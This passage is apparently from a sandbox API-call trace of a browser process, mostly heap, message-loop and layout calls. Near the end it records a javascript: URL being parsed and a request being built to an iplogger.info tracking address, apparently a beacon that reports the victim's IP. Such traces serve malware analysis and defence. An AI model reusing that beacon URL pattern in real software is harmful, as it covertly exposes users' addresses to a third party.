hHeap=0x510000, dwFlags=0x0, lpMem=0x53b5f0 | out: hHeap=0x510000) returned 1 [0044.888] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5400f8 | out: hHeap=0x510000) returned 1 [0044.889] IUnknown:Release (This=0x53c694) returned 0x14 [0044.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.889] IUnknown:Release (This=0x53c694) returned 0x13 [0044.889] CoTaskMemFree (pv=0x0) [0044.889] IInternetProtocolRoot:Terminate (This=0x556614, dwOptions=0x0) returned 0x0 [0044.889] IUnknown:Release (This=0x555d50) returned 0x4 [0044.889] ReleaseBindInfo (pbindinfo=0x556638) [0044.889] IUnknown:Release (This=0x556600) returned 0x0 [0044.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x553790 | out: hHeap=0x510000) returned 1 [0044.889] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0044.889] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0044.889] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0044.889] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0044.890] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0044.890] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0044.890] GetCurrentThreadId () returned 0x86c [0044.890] GetCurrentThreadId () returned 0x86c [0044.890] GetCurrentThreadId () returned 0x86c [0044.890] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x58b520 [0044.890] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x53b938 [0044.890] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x64) returned 0x556e58 [0044.891] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x550fd8 [0044.891] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.891] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.891] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xdc) returned 0x555150 [0044.891] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52da98 [0044.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x250) returned 0x555b08 [0044.892] LsGetRubyLsimethods () returned 0x0 [0044.892] LsGetTatenakayokoLsimethods () returned 0x0 [0044.892] LsGetHihLsimethods () returned 0x0 [0044.892] LsGetWarichuLsimethods () returned 0x0 [0044.892] LsGetReverseLsimethods () returned 0x0 [0044.892] LsCreateContext () returned 0x0 [0044.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x670) returned 0x596918 [0044.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x555320 [0044.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x553790 [0044.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x555680 [0044.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2e4) returned 0x555d60 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x540170 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5400f8 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x5510d0 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560cb8 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x540148 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x54a870 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x54a898 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x54a8c0 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x556070 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x55f700 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x55f6d0 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x55f710 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x55f740 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x128) returned 0x556478 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11c) returned 0x595310 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x108) returned 0x553678 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x130) returned 0x557e40 [0044.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5547f8 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x278) returned 0x557f78 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc8) returned 0x555238 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x190) returned 0x5581f8 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x78) returned 0x596fa8 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xf0) returned 0x5565a8 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4c) returned 0x5520b0 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x194) returned 0x558390 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc8) returned 0x550cc0 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x190) returned 0x558530 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x108) returned 0x554910 [0044.894] LsSetModWidthPairs () returned 0x0 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x240) returned 0x5586c8 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533528 [0044.894] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x54a8e8 [0044.895] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x53b5f0 [0044.895] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2e0) returned 0x558910 [0044.895] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x555ad0 [0044.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x64) returned 0x556ec8 [0044.897] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x595438 [0044.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc0) returned 0x558bf8 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc0) returned 0x558cc0 [0044.898] LsSetBreaking () returned 0x0 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x271) returned 0x558d88 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x58b1e0 [0044.898] LsSetDoc () returned 0x0 [0044.898] IBindStatusCallback:OnLowResource (This=0x55f700, reserved=0x596ac4) returned 0x0 [0044.898] IBindStatusCallback:OnLowResource (This=0x55f6d0, reserved=0x596ac4) returned 0x0 [0044.898] IBindStatusCallback:OnLowResource (This=0x55f710, reserved=0x596ac4) returned 0x0 [0044.898] IBindStatusCallback:OnLowResource (This=0x55f740, reserved=0x596ac4) returned 0x0 [0044.898] LsCreateLine () returned 0x0 [0044.898] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x559008 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5336e8 [0044.898] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x58b1f8 [0044.901] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MSIMGSIZECacheMutex") returned 0x410 [0044.901] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0xfa0) returned 0x0 [0044.901] OpenFileMappingA (dwDesiredAccess=0xf001f, bInheritHandle=0, lpName="MSIMGSIZECacheMap") returned 0x0 [0044.902] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75670000 [0044.902] GetProcAddress (hModule=0x75670000, lpProcName="SHGetFolderPathW") returned 0x756f5708 [0044.902] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x30e2e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0044.902] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 1 [0044.903] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned 1 [0044.904] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned 1 [0044.905] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0044.908] GetLastError () returned 0xb7 [0044.908] GetFileSize (in: hFile=0x414, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0044.908] CreateFileMappingA (hFile=0x414, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="MSIMGSIZECacheMap") returned 0x418 [0044.908] MapViewOfFile (hFileMappingObject=0x418, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) returned 0x1dc0000 [0044.909] ReleaseMutex (hMutex=0x410) returned 1 [0044.909] CloseHandle (hObject=0x410) returned 1 [0044.909] CloseHandle (hObject=0x414) returned 1 [0044.911] LoadImageW (hInst=0x72c20000, name=0x7ee, type=0x0, cx=0, cy=0, fuLoad=0x2000) returned 0x200506db [0044.927] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x55fc00 [0044.927] CreateCompatibleDC (hdc=0x0) returned 0x15010a18 [0044.927] SetStretchBltMode (hdc=0x15010a18, mode=3) returned 1 [0044.927] GetDIBits (in: hdc=0x15010a18, hbm=0x200506db, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x30e118, usage=0x0 | out: lpvBits=0x0, lpbmi=0x30e118) returned 1 [0044.927] SelectObject (hdc=0x15010a18, h=0x200506db) returned 0x185000f [0044.928] GetDIBColorTable (in: hdc=0x15010a18, iStart=0x0, cEntries=0x100, prgbq=0x30e140 | out: prgbq=0x30e140) returned 0x100 [0044.928] SelectObject (hdc=0x15010a18, h=0x185000f) returned 0x200506db [0044.928] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x100) returned 0x559298 [0044.928] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x428) returned 0x598f90 [0044.928] GetDIBits (in: hdc=0x15010a18, hbm=0x200506db, start=0x0, cLines=0x10, lpvBits=0x559298, lpbmi=0x30e118, usage=0x0 | out: lpvBits=0x559298, lpbmi=0x30e118) returned 16 [0044.928] DeleteDC (hdc=0x15010a18) returned 1 [0044.928] DeleteObject (ho=0x200506db) returned 1 [0044.928] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52d948 [0044.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.929] LsdnFinishRegular () returned 0x0 [0044.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x5593a0 [0044.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x559460 [0044.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x559520 [0044.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x5993c0 [0044.929] LsQueryLineDup () returned 0x0 [0044.930] LsDestroyLine () returned 0x0 [0044.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5336e8 | out: hHeap=0x510000) returned 1 [0044.930] IInternetProtocol:UnlockRequest (This=0x55f700) returned 0x0 [0044.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55fc68 [0044.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x561600 [0044.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558910 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58b1f8 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f5ac, lprcSrc1=0x30f5ac, lprcSrc2=0x30f57c | out: lprcDst=0x30f5ac) returned 1 [0044.931] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f59c | out: lprcDst=0x556a68) returned 1 [0044.931] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f5bc | out: lprcDst=0x556a68) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f26c, lprcSrc1=0x30f26c, lprcSrc2=0x30f23c | out: lprcDst=0x30f26c) returned 1 [0044.931] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f25c | out: lprcDst=0x556a68) returned 1 [0044.931] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f27c | out: lprcDst=0x556a68) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f180, lprcSrc1=0x30f180, lprcSrc2=0x556a58 | out: lprcDst=0x30f180) returned 1 [0044.931] UnionRect (in: lprcDst=0x30f488, lprcSrc1=0x30f488, lprcSrc2=0x30f434 | out: lprcDst=0x30f488) returned 1 [0044.931] UnionRect (in: lprcDst=0x30f488, lprcSrc1=0x30f488, lprcSrc2=0x30f434 | out: lprcDst=0x30f488) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f330, lprcSrc1=0x30f330, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f330) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f3c8, lprcSrc1=0x30f3c8, lprcSrc2=0x30f330 | out: lprcDst=0x30f3c8) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f330, lprcSrc1=0x30f330, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f330) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f3c8, lprcSrc1=0x30f3c8, lprcSrc2=0x30f330 | out: lprcDst=0x30f3c8) returned 1 [0044.931] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0044.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.932] UnionRect (in: lprcDst=0x30f7c8, lprcSrc1=0x30f7c8, lprcSrc2=0x30f774 | out: lprcDst=0x30f7c8) returned 1 [0044.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555650 [0044.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555650 | out: hHeap=0x510000) returned 1 [0044.932] RedrawWindow (hWnd=0x90132, lprcUpdate=0x30f848, hrgnUpdate=0x0, flags=0x21) returned 1 [0044.932] GetFocus () returned 0x90132 [0044.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x55f760 [0044.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x55f770 [0044.932] GetFocus () returned 0x90132 [0044.932] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f4f0 | out: lpPoint=0x30f4f0) returned 1 [0044.932] GetCapture () returned 0x0 [0044.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555650 [0044.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52d9b8 [0044.933] GetCurrentThreadId () returned 0x86c [0044.933] GetFocus () returned 0x90132 [0044.933] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f4f0 | out: lpPoint=0x30f4f0) returned 1 [0044.933] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52d9b8 [0044.933] GetCurrentThreadId () returned 0x86c [0044.933] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f4f0 | out: lpPoint=0x30f4f0) returned 1 [0044.934] GetCapture () returned 0x0 [0044.934] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c578 [0044.934] GetCurrentThreadId () returned 0x86c [0044.934] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f4f0 | out: lpPoint=0x30f4f0) returned 1 [0044.934] GetCapture () returned 0x0 [0044.934] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c578 [0044.934] GetCurrentThreadId () returned 0x86c [0044.934] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x58bfa0, Size=0x9c) returned 0x558910 [0044.934] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f4f0 | out: lpPoint=0x30f4f0) returned 1 [0044.935] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c578 [0044.935] GetCurrentThreadId () returned 0x86c [0044.935] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f4f0 | out: lpPoint=0x30f4f0) returned 1 [0044.935] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c578 [0044.935] GetCurrentThreadId () returned 0x86c [0044.935] GetFocus () returned 0x90132 [0044.935] GetFocus () returned 0x90132 [0044.935] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30f840 | out: ppu=0x30f840) returned 0x0 [0044.936] ShouldShowIntranetWarningSecband () returned 0x0 [0044.937] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f164 | out: ppv=0x30f164*=0x73158d20) returned 0x0 [0044.937] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f250 | out: ppvObject=0x30f250*=0x73158d2c) returned 0x0 [0044.937] IUnknown:Release (This=0x73158d20) returned 0x1 [0044.937] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=3, dwParseFlags=0x0, pwzResult=0x554b40, cchResult=0x86, pcchResult=0x30f298, dwReserved=0x0 | out: pwzResult="javascript:document.write('');", pcchResult=0x30f298*=0x86) returned 0x0 [0044.938] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x554c58 [0044.938] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554c58 | out: hHeap=0x510000) returned 1 [0044.938] IUnknown:Release (This=0x73158d2c) returned 0x1 [0044.938] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f164 | out: ppv=0x30f164*=0x73158d20) returned 0x0 [0044.938] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f250 | out: ppvObject=0x30f250*=0x73158d2c) returned 0x0 [0044.938] IUnknown:Release (This=0x73158d20) returned 0x1 [0044.938] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=17, dwParseFlags=0x0, pwzResult=0x554b40, cchResult=0x86, pcchResult=0x30f2a8, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30f2a8*=0x0) returned 0x800c0011 [0044.938] IUnknown:Release (This=0x73158d2c) returned 0x1 [0044.938] GetIUriPriv () returned 0x0 [0044.938] IUnknown:Release (This=0x53c40c) returned 0x4 [0044.938] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f6b8 | out: lpPoint=0x30f6b8) returned 1 [0044.938] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c578 [0044.939] GetCurrentThreadId () returned 0x86c [0044.939] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f778 | out: lpPoint=0x30f778) returned 1 [0044.939] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c578 [0044.939] GetCurrentThreadId () returned 0x86c [0044.939] GetFocus () returned 0x90132 [0044.939] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x58b2a0 [0044.939] NotifyWinEvent (event=0x8005, hwnd=0x90132, idObject=1, idChild=0) [0044.939] GetCurrentThreadId () returned 0x86c [0044.939] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0044.939] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0044.939] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0044.939] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0044.939] KillTimer (hWnd=0x90132, uIDEvent=0x1000) returned 1 [0044.940] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0044.940] IUri:GetScheme (in: This=0x53c40c, pdwScheme=0x30ed84 | out: pdwScheme=0x30ed84*=0xf) returned 0x0 [0044.940] IUri:GetDisplayUri (in: This=0x53c40c, pbstrDisplayString=0x30ed90 | out: pbstrDisplayString=0x30ed90*="javascript:document.write('');") returned 0x0 [0044.940] GetWindowTextW (in: hWnd=0x7001a, lpString=0x30e930, nMaxCount=512 | out: lpString="") returned 0 [0044.940] NtdllDefWindowProc_W () returned 0x0 [0044.940] SetWindowTextW (hWnd=0x7001a, lpString="javascript:document.write('');") returned 1 [0044.940] NtdllDefWindowProc_W () returned 0x1 [0044.941] IUnknown:Release (This=0x53c40c) returned 0x4 [0044.941] GetCurrentThreadId () returned 0x86c [0044.941] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0044.941] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0044.941] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0044.941] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0044.941] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0044.941] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0044.941] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0044.941] SetTimer (hWnd=0x90132, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0044.941] GetCurrentThreadId () returned 0x86c [0044.941] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0044.941] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0044.941] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0044.941] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0045.329] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0045.329] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0045.329] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0045.329] KillTimer (hWnd=0x90132, uIDEvent=0x1008) returned 1 [0045.329] GetCurrentThreadId () returned 0x86c [0045.329] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0048.748] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0048.748] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0048.748] CreateUri (in: pwzURI="http://iplogger.info/1v6v97.jpeg", dwFlags=0x2b85, dwReserved=0x0, 